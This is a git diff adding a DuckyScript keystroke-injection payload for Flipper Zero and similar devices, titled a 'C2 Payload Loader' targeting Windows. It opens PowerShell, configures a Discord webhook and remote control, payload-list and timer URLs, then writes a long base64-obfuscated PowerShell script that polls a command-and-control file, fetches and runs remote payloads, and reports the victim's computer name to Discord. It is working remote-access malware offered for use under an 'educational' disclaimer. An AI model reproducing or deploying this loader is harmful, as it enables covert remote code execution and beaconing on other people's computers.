diff --git a/payloads/library/execution/C2-Payload-Loader/C2-pLoader.txt b/payloads/library/execution/C2-Payload-Loader/C2-pLoader.txt new file mode 100644 index 0000000..f0619b6 --- /dev/null +++ b/payloads/library/execution/C2-Payload-Loader/C2-pLoader.txt @@ -0,0 +1,35 @@ +REM Title: C2 Payload Loader (pLoader) w Discord Reporting +REM Description: Remote (C2) Payload Loader with Discord Reporting. The Project +REM allows you to IDLE, ACTIVATE, Change Timer Intervals, Change Execution Modes, +REM Remotely CHANGE Payloads, and even activate the KILLSWITCH. All inputs below +REM are needed to start the script, unless know how to edit the Source. OMG and +REM InfoSecREDD (REDD) are not responsible for the misuse of this Payload. This +REM is for Educational Purposes only. +REM AUTHOR: InfoSecREDD +REM Version: 1.1 +REM Category: Execution (REMOTE) +REM Compatibility: Flipper Zero AND DuckyScript Devices +REM Target: Windows + +REM To use on Flipper Zero REM the DUCKY_LANG US from line below +DUCKY_LANG US +DELAY 2000 +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 2000 +REM Put your Discord webhook below. +STRING $webhook = "DiscordWebhookHere"; +REM C2 file must be hosted at GitHub unless you can edit the file. 1 = ON and 0 = OFF +STRING $ccontrol = "C2FileHere"; +REM Put your Remote List of Payloads below. +STRING $URLS = "URLFileListHere"; +REM Put your Timer file below. 10-18000 Its counted in Minutes. +STRING $timer = "TimerFileHere"; +REM OVERDRIVE - Overdrive allows the payloads to execute without prior payload finishing. 1 = ON and 0 = OFF +STRING $overdrive = "OverdriveFileHere"; +REM Lets run this thing. +STRING $TempFile = "$env:TEMP\temp.ps1"; $File = "$env:TEMP\l.ps1"; echo IyBUaXRsZTogQzIgUGF5bG9hZCBMb2FkZXIgKHBMb2FkZXIpDQojIERlc2NyaXB0aW9uOiBSZW1vdGUgUGF5bG9hZCBMb2FkZXIgLSB3LyBEaXNjb3JkIFJlcG9ydGluZy4NCiMgQVVUSE9SOiBJbmZvU2VjUkVERA0KIyBWZXJzaW9uOiAxLjENCiMgLS0tLS0tLS0tLS0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gZXhpdCAwDQogICAgfQ0KICB9DQogIGlmICggJENoayAtZXEgMCApDQogIHsNCiAgICBpZiAoICRDaGtTcnYgLWVxIDEgKSANCiAgICB7DQogICAgICBpZiAoICRsb29wIC1lcSAkdGltZXJJbnQgLU9yICRsb29wIC1lcSAwICApIA0KICAgICAgew0KICAgICAgICAkbG9vcCA9IDANCiAgICAgICAgJE9EVmFyaWFibGUgPSAiJENoa09EViINCiAgICAgICAgaWYgKCAkT0RWYXJpYWJsZSAtZXEgIjEiICkNCiAgICAgICAgew0KICAgICAgICAgICRzZXRPRFYgPSAiT1ZFUkRSSVZFIg0KICAgICAgICB9DQogICAgICAgIGlmICggJE9EVmFyaWFibGUgLWVxICIwIiApDQogICAgICAgIHsNCiAgICAgICAgICAkc2V0T0RWID0gIldBSVQiDQogICAgICAgIH0NCiAgICAgICAgZGlzY29yZFRpbWVyICRydW5JbnRlcnZhbCAkbG9vcFRpbWUNCiAgICAgICAgJGNvbXBNc2cgPSBAew0KICAgICAgICAgICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICAgICAgICAgJ2NvbnRlbnQnID0gIioqICoqDQoqKiAqKg0KIyMjIFBheWxvYWQgTG9hZGVyIENvbXBsZXRlZC4NCioqICoqDQo+ICpOZXh0IEV4ZWN1dGlvbiogKioqJHtkaXNFeGVUaW1lfS4qKioNCj4gKk5leHQgQ2hlY2sqICoqKiR7ZGlzQ2hrVGltZX0uKioqIFske2xvb3B9LyR7dGltZXJJbnR9XSINCiAgICAgICAgfQ0KICAgICAgICAkc3RhcnRNc2cgPSBAew0KICAgICAgICAndXNlcm5hbWUnID0gIiRlbnY6Q29tcHV0ZXJOYW1lIg0KICAgICAgICAnY29udGVudCcgPSAiIyMjIFBheWxvYWQgTG9hZGVyIEluaXRpYXRlZC4NCioqICoqDQo+IEV4ZWN1dGluZyBwYXlsb2FkKHMpIGluIF9fKlJlbW90ZSpfXyBDMiBsaXN0Li4NCiAgICAgKiotPiBfX0V4ZW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EwICkNCiAgICB7DQogICAgICAkcnVuSW50ZXJ2YWwgPSAxMA0KICAgIH0NCiAgICBpZiAoICRydW5JbnRlcnZhbCAtZ3QgNTAgKQ0KICAgIHsNCiAgICAgICRhZGRPbmUgPSBbTWF0aF06OkZsb29yKCRydW5JbnRlcnZhbCAvIDUwKQ0KICAgICAgJHRpbWVySW50ICs9ICRhZGRPbmUNCiAgICB9DQogICAgJHNlY3MgPSBbaW50XSRydW5JbnRlcnZhbCAqIDYwDQogICAgJGxvb3BJbnQgPSBbaW50XSRzZWNzIC8gJHRpbWVySW50DQogICAgJGxvb3BUaW1lID0gW21hdGhdOjpSb3VuZCgkbG9vcEludCkNCiAgICBkaXNjb3JkVGltZXIgJHJ1bkludGVydmFsICRsb29wVGltZQ0KICAgIGlmICggJG9sZEludGVydmFsIC1uZSAkc3RhdGljSW50ZXJ2YWwgKQ0KICAgIHsNCiAgICAgICRjaGFuZ2VkID0gMQ0KICAgICAgJGxvb3AgPSAxDQogICAgICBkaXNjb3JkVGltZXIgJHJ1bkludGVydmFsICRsb29wVGltZQ0KICAgICAgJGludENoYW5nZU1zZyA9IEB7DQogICAgICAgICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICAgICAgICdjb250ZW50JyA9ICI+IENoYW5nZWQgKioqVGltZXIqKiogdG8gKioqJHRpbWUuKioqDQoqKiAqKg0KPiAqTmV4dCBDaGVjayogKioqJHtkaXNDaGtUaW1lfS4qKiogWyR7bG9vcH0vJHt0aW1lckludH1dIg0KICAgICAgIH0NCiAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICIkd2ViaG9vayIgLU1ldGhvZCBQb3N0IC1Cb2R5ICRpbnRDaGFuZ2VNc2cNCiAgICB9DQogICAgJGxvb3AgKz0gMQ0KICAgIFNsZWVwICRsb29wVGltZQ0KICAgICRvbGRDaGtTcnYgPSAiJENoa1NydiINCiAgICAkQ2hrID0gKChJbnZva2Utd2VicmVxdWVzdCAtVVJJICIka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GlmICggIiRDaGtTcnYiIC1lcSAiMSIgKQ0KICAgICAgew0KICAgICAgICAkbG9vcCA9IDENCiAgICAgICAgJGNoYW5nZWQgPSAxDQogICAgICAgICRjMkNoYW5nZU1zZyA9IEB7DQogICAgICAgICAgJ3VzZXJuYW1lJyA9ICIkZW52OkNvbXB1dGVyTmFtZSINCiAgICAgICAgICAnY29udGVudCcgPSAiPiBDaGFuZ2VkIGZyb20gKipJRExFKiogdG8gKipBQ1RJVkUqKi4NCj4gKk5leHQgQ2hlY2sqICoqKiR7ZGlzQ2hrVGltZX0uKioqIFske2xvb3B9LyR7dGltZXJJbnR9XSINCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCAiJENoa1NydiIgLWVxICIwIiApDQogICAgICB7DQogICAgICAgICRsb29wID0gMQ0KICAgICAgICAkY2hhbmdlZCA9IDENCiAgICAgICAgJGMyQ2hhbmdlTXNnID0gQHsNCiAgICAgICAgICAndXNlcm5hbWUnID0gIiRlbnY6Q29tcHV0ZXJOYW1lIg0KICAgICAgICAgICdjb250ZW50JyA9ICI+IENoYW5nZWQgZnJvbSAqKkFDVElWRSoqIHRvICoqSURMRSoqLg0KPiAqTmV4dCBDaGVjayogKioqJHtkaXNDaGtUaW1lfS4qKiogWyR7bG9vcH0vJHt0aW1lckludH1dIg0KICAgICAgICB9DQogICAgICB9DQogICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICIkd2ViaG9vayIgLU1ldGhvZCBQb3N0IC1Cb2R5ICRjMkNoYW5nZU1zZw0KICAgIH0NCiAgICBpZiAoICIkb2xkT0RWIiAtbmUgIiRzdGF0aWNPRFYiICkNCiAgICB7DQogICAgICBkaXNjb3JkVGltZXIgJHJ1bkludGVydmFsICRsb29wVGltZQ0KICAgICAgaWYgKCAiJHN0YXRpY09EViIgLWVxICIxIiApDQogICAgICB7DQogICAgICAgICRsb29wID0gMQ0KICAgICAgICAkb3ZlcmRyaXZlTXNnID0gQHsNCiAgICAgICAgICAndX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